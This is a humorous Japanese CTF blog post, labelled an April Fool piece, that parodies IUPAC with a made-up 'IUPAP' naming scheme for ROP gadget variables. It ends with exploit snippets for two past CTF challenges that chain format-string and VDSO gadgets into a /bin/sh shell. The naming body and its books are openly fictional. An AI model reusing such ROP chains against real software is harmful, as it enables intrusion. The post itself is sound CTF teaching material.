国際純正・応用pwn連合(英: International Union of Pure and Applied Pwnable、IUPAP)は、各国のpwnerを代表する国内組織の連合である国際pwn会議の参加組織である。
IUPAP命名法(アイユーパップめいめいほう)は、国際純正・応用pwn連合(IUPAP)が定める、exploitの変数名の命名法の全体を指す言葉。IUPAP命名法は、pwn界における国際的な標準としての地位を確立している。
ROP, JOPの命名法についての勧告は2冊の出版物としてまとめられ、英語ではそれぞれ「ブルー・ブック」「レッド・ブック」の愛称を持つ。
広義には、その他各種の定義集の一部として含まれる変数名の命名法を含む。IUPAC*2との共同編集で、各種primitiveおよびexploit基礎を扱った「グリーン・ブック」、その他pwnにおける多数の専門用語を扱った「ゴールド・ブック」のほか、Stack学(ホワイト・ブック;IUBMBとの共同編集)、Heap学(オレンジ・ブック)、Kernel学(パープル・ブック)、Browser学(シルバー・ブック)があり、各分野の用語法の拠り所となっている。
これらの「カラー・ブック」について、IUPAPはPure and Applied Pwnable誌上で、特定の状況に対応するための補足勧告を継続的に発表している。
他人のwriteupなどを読んでいると、ROP chainを次のように記述する人が多いと感じています。
何やってるかまるで分かりませんね。 これではwriteupを読む人が困るだけでなく、exploitを書いてる側も修正ミスなどを起こしてしまいます。 中には次のようにコメントにgadgetを書く人もいます。
一気に分かりやすくなりました。 しかし、ROP chainを書き直していると大切なgadgetを失ってしまい、また同じgadgetを探す旅に出なくてはなりません。 そこで、次のように変数名をROP gadgetにしている人もいます。
これで安心ですね。 でも次のようなROP gadgetはどう命名するのでしょうか。
mov [rdx], rax; ret; call [rax+0xc0be]; pop rdi; pop rsi; ret; sub ecx, 0x10; jz 0x7fffdead1234; mov [rsp-0x10], r12d; jmp [rax];
もし先の例のようになんとなく命名していると、このようなgadgetのアドレスを変数に代入するとき、変数名が思いつかないまま時間が過ぎ、CTFならきっと競技終了まで考え込んでしまいます。 このような危機的状況に立ち向かうため、2021年7月11日12時42分*3に設立された団体が通称IUPAPです。
私はIUPAPではROP gadgetを使うとき、独自の命名規則に従って名前を付けることを勧告しています。
世の中からアドレス直書きROP chainが消えて平和な世界が訪れることを切に願っています。
ROP gadgetを示す変数名は必ずrop_
から始めます。
これは変数がROP gadgetのオフセットを表すことを明示するためです。
代表的なprefixは次の通りです。
prefix | 変数の意味 |
---|---|
rop_ |
ROP/JOP/COP gadgetのアドレス |
got_ |
GOTのアドレス |
plt_ |
PLTのアドレス |
iat_ |
IATのアドレス |
addr_ |
その他のアドレス |
ofs_ |
オフセット |
fake_ |
偽オブジェクトの実体 |
addr_fake_ |
偽オブジェクトのアドレス |
関数ポインタは現状 addr_関数名
という規則になっていますが、団体内では func_関数名
にするべきとの声も挙がっており、現在論争になっています。
今後改定されるかもしれません。
使用例:
got_puts: putsのGOT plt_puts: putsのPLT ofs_system: libcの先頭からsystem関数までのオフセット iat_VirtualAlloc: VirtualAllocのIAT fake_vtabke: 偽装vtableの実体 addr_vtable: 正規vtableのポインタ
IATはポインタが書かれている場所で、ELFにおけるGOTに相当します。 一方IATのポインタを呼ぶ側(PLT相当)に関しては「名前が付いてない気がするため、現在は未定。」となっています。
基本
オペコードとオペランドの間と、命令同士の間をアンダースコア(_
)区切りで繋げます。
(例) jmp rax --> rop_jmp_rax mov rdx, rax; pop rax; call rdx; --> rop_mov_rdx_rax_pop_rax_call_rdx
複数の表記法がある命令については基本的に最短表記します。
(例) mov qword ptr [rax], rdx --> mov_prax_rdx movsb BYTE PTR [rdi], BYTE PTR [rsi]; --> movsb
数値の表現
値は(特に意図がなければ)必ず16進数大文字表記し、最後にh
を付けます。
負の数は先頭にM
(minus)を付けます。
(例) add rax, 12 --> add_rax_Ch mov edx, 0x0000cafe --> mov_edx_CAFEh add rsp, -8 --> add_rsp_M8h
レジスタへの即値の代入において、signedかunsignedかの判断は使用する文脈で使い分けて構いませんが、それは代入するレジスタのサイズと一致している場合に限ります。 例えば
mov al, 0xFF
を mov_al_FFh
とするか mov_al_M1h
とするかは文脈により自由です。
しかし、後から add bl, al
のように使用するからといって
mov rax, 0xFF
を mov_rax_M1h
と記述することは許されません。
これは mov rax, 0xffffffffffffffff
との混乱を防ぐためです。
retとnopの省略
ROP gadgetは一般的にret
で終わるため、ret
命令は省略します。
(例) pop rcx; ret; --> rop_pop_rcx leave; ret; --> rop_leave cld; ret; --> rop_cld
ただし、ret
単体の場合や、ret
がオペランドを持つ場合は省略してはいけません。
(例) ret; --> rop_ret retn 0x108; --> rop_ret_108h
さらに、call
やsyscall
の後にret
が来ることを明確にしたい場合は省略しなくても構いません。
(例) call rax; ret; --> rop_call_rax / rop_call_rax_ret syscall; ret; --> rop_syscall / rop_syscall_ret
使用する文脈によって、ret
に到達することが想定されるgadgetなら省略しない方が良いでしょう。
また、nop
相当の命令は省略しても構いません。必ずその命令がどこにも影響を与えないときのみ省略可能です。(フラグレジスタへの影響は許容します。)
(例) pop rax; nop; ret; --> rop_pop_rax inc edx; xchg ah, ah; ret; --> rop_inc_rdx stosq; xchg rax, rdx; xchg rax, rdx; ret; --> rop_stosq
たとえROP中で特定のレジスタを使わないと分かっていても次のような省略はしてはいけません。
(ダメな例) pop rax; mov rcx, rax; ret; --> rop_pop_rax // rcxが変更されている stosq; push rdx; pop rdx; ret; --> rop_stosq // スタックに変更が加わる
使わないと思っていても変更を加えるうちにどこかで影響してしまうことがあり、原因の特定が遅れるからです。
連続するpush/popの省略
pop
命令が連続するROP gadgetは頻出ですので、pop
やpush
が連続する場合、2つ目以降のpopは省略します。
(例) pop rsi; pop rdi; ret; --> rop_pop_rsi_rdi push rax; push rdx; pop rsp; mov rbx, rax; pop rdi; ret; --> rop_push_rax_rdx_pop_rsp_mov_rbx_rax_pop_rdi
間接アドレッシング
このセクションが本命名規則で最も複雑な箇所です。 AMD64プロセッサでは次のような表現が可能です。
mov rax, [rsi + rcx*4]
ポインタは先頭にp
(pointer)を付けて表現します。
サイズが分かる場合QWORDやDWORDといった表記は省略します。即値の場合は必ずサイズをp
の前に明記します。
(例) mov qword [rdx], rax; ret; --> rop_mov_prdx_rax mov byte [0x602060], 1; ret; --> rop_mov_byte_p602060h_1h
call
とjmp
はプログラムのビット数(レジスタのサイズ)により判断可能なためサイズ情報を省略します。
(例) call qword [rax] --> rop_call_prax
アドレス計算を利用している場合、基底→乗算→加算の順に記述します。
この際レジスタ名と値を連続して繋げ、加算にはP
(plus)、減算にはM
(minus)、乗算にはX
(times)を付けます。
(例) [eax] --> peax [r12 + 1] --> pr12P1h [rax + rcx*4] --> praxPrcxX4h [r12 + r7*8 + 0x1E0] --> pr12Pr7X8hP1E0h
したがって、次のようになります。
(例) lea edx, [eax + 8]; ret; --> rop_lea_edx_peaxP8h mov eax, [rsi + rcx*4]; ret; --> rop_mov_eax_prsiPrcxX4h mov eax, [r12 + rax*8 + 0x123]; ret; --> rop_mov_eax_pr12PraxX8hP123h lea r12, [r12+1]; ret; --> rop_lea_r12_pr12P1h lea r12, [r12-1]; ret; --> rop_lea_r12_pr12M1h
条件分岐 / 関数呼出
条件分岐は基本として通るパスを命名します。
条件分岐はアドレスを記載せず、その分岐に利用された命令名のみを書きます。
ただし、固定アドレスへのjmp
は省略可能です。
(例1) inc eax jmp 0x7fffdeadbeef ... 0x7fffdeadbeef: ret; --> rop_inc_eax (例2) test dl, dl; jz 0x7fffdeadbeef; xor eax, eax; ret; 0x7fffdeadbeef: mov eax, 1; ret; --> rop_test_dl_dl_jz_xor_eax_eax / rop_test_dl_dl_mov_eax_1h
両方のパスを使う場合はexploit中で使う箇所によって、同じgadgetに別の変数名を付けて使います。
また、同じ使用箇所でも分岐のどちらを通るか分からない場合はラベルをL1
から順に割り当てて次のように命名します。
この際、分岐先のret
は終端でない限り省略してはいけません。
(例) cmp al, dl jz 0x7fffdeadbeef; xor eax, eax; ret; 0x7fffdeadbeef: mov eax, 0xffffffff; ret; --> rop_cmp_al_dl_jz_L1_xor_eax_eax_ret_L1_mov_eax_FFFFFFFFh
関数呼出について、呼び出す関数にシンボルが存在する場合はそれを利用できます。関数名にはマングリングされた名前を使います。
(例) mov rsi, r12; call realloc; --> rop_mov_rsi_r12_call_realloc
略称
頻出だが変数名が長くなってしまうようなgadgetに対しては特別な略称をつけています。 propa-2-oneがacetoneになるのと同じですね。
ROP gadget | 略称 | 正式名称 |
---|---|---|
__libc_csu_init のpop部分 |
rop_csu_popper |
rop_pop_rbx_rbp_r12_r13_r14_r15 |
__libc_csu_init のcall部分 |
rop_csu_caller |
mov_rdx_r12_mov_rsi_r14_mov_edi_r15d_call_pr12PrbxX8h_add_rbx_1h_cmp_rbx_rbp_jnz_add_rsp_8h_pop_rbx_rbp_r12_r13_r14_r15 |
one gadget | one_gadget |
- |
one gadgetに関してはlibcベースからのオフセットを示す場合ofs_
プレフィックスを付けます。解決済みアドレスの場合はaddr_
を付加します。
one gadgetの表記に関しては歴史的に多くの議論があり、「one gadgetの制約も命名すべきだ」という声が多く挙がりました。
しかし最終的に、「one gadgetなどという実世界で役に立たないgadgetを使うことそのものが愚行である」という結論で全会一致したため、one_gadget
という情報が欠落した略称が使われるようになっています。
最後に実際の過去問のexploitを挙げることで、IUPAP命名法がどのくらい役に立つかを感じて終わりにします。
coffee - TSG CTF 2021
まずは基本的な使用例を見てみましょう。 この問題はFSBをROPに繋げるという趣旨の問題です。
次のようにIUPAPで書いていれば、writeupを読むときや見返すときに何をしているかが明確になることが分かります。
payload = fsb( pos=6, writes={elf.got('puts'): rop_pop_rbx_rbp_r12_r13_r14_r15}, bs=1, size=2, bits=64 ) payload += flat([ rop_ret, rop_pop_rdi, next(libc.search("/bin/sh")), libc.symbol("system"), ], map=p64) sock.sendline(payload)
FSBでputs関数のGOTをpopに向けることで「きっとこの人はROPに繋げようとしているんだなぁ」という意図が読み取れます。
最後のchainを見ても、rop_ret
と書くことで「movapsを避けようとしているんだなぁ」と風情すら感じます。
pwnbox - LINE CTF 2021
この問題はROP gadgetが極端に少ないため、VDSO(Linuxカーネルが錬成してくれる機械語)からROP gadgetを探して使いましょうという内容でした。
競技中に私はadd edx, 1; cmp rax, 0x3b9ac9ff; ja 0x7ffff7ffebda; add qword ptr [rsi], rdx; mov qword ptr [rsi + 8], rax; mov eax, dword ptr [rsp + 0xc]; test eax, eax; jne 0x7ffff7ffea92; lea rsp, [rbp - 0x20]; xor eax, eax; pop rbx; pop r12; pop r13; pop r14; pop rbp; ret;
を使いましたが、変数名の付け方に5時間くらい消費した記憶があります。
IUPAPにより命名してみましょう。
rop_add_edx_1h_cmp_rax_3B9AC9FFh_ja_add_prsi_rdx_mov_prsiP8h_rax_mov_eax_prspPCh_test_eax_eax_jne_lea_rsp_prbpM20h_xor_eax_eax_pop_rbx_r12_r13_r14_rbp
意図的にはrop_add_edx_1h
でも良さそうですが、pop
部分がなくなると読む側としては不自然になってしまいます。
では、これをexploitに組み込んでみましょう。
rop_xor_eax_eax_pop_rbp = addr_vdso + 0xf46 rop_add_edx_1h_cmp_rax_3B9AC9FFh_ja_add_prsi_rdx_mov_prsiP8h_rax_mov_eax_prspPCh_test_eax_eax_jne_lea_rsp_prbpM20h_xor_eax_eax_pop_rbx_r12_r13_r14_rbp = addr_vdso + 0xbe0 delta = (-(0x402000 - 0xA4B0204) ^ 0xffffffffffffffff) + 1 payload = b'/bin/sh\0' payload += p64(0x402000) payload += p64(0x402020 + 0x20) for i in range(1, 10): payload += p64(rop_add_edx_1h_cmp_rax_3B9AC9FFh_ja_add_prsi_rdx_mov_prsiP8h_rax_mov_eax_prspPCh_test_eax_eax_jne_lea_rsp_prbpM20h_xor_eax_eax_pop_rbx_r12_r13_r14_rbp) payload += p64(0) + p64((1<<64)-1) + p64(0) + p64(0) payload += p64(0x402020 + 0x20 + i*0x30) payload += p64(rop_xor_eax_eax_pop_rbp) payload += p64(0x4021e0 - 0x10) payload += p64(rop_syscall) payload += b"AAAAAAAA" * 5 payload += flat([ 0, 0, 0, 0, 0, 0, 0, 0, 0x402000, 0, 0, 0, 0, 59, 0, 0x402000, rop_syscall, 0, 0x33 ], map=p64) payload += b'AAAAAAAA' * 4 payload += p64(0)
たまげたなぁ。 このように記述すればwriteupを読む側としては何をやっているかが一目瞭然になりますね。
Exploitを書いてる人はつらいかというとそうでもなく、割と書いてて楽しいです。 有機化学で骨格構造式から命名する問題を解いてる時の感覚に似てますね。tetraethyllead。
この記事は実はCTF Advent Calendar 2021の10日目の記事でした。Happy April Fool!
昨日はふぁぼん先生のTSG LIVE! 7 ライブCTF参加記で、土日誰も登録しなければ次も私になりそう。 前回の記事が真面目だったので今回はネタにした限りです。こういう記事を書いたのは初めてなので、日本語が分からない海外勢が翻訳困惑しないか心配です。知らんけど。
最後に宣伝になりますが、なんと今年のSECCON 2021が来週末に開催されます。ちょっと作問したので参加してネ。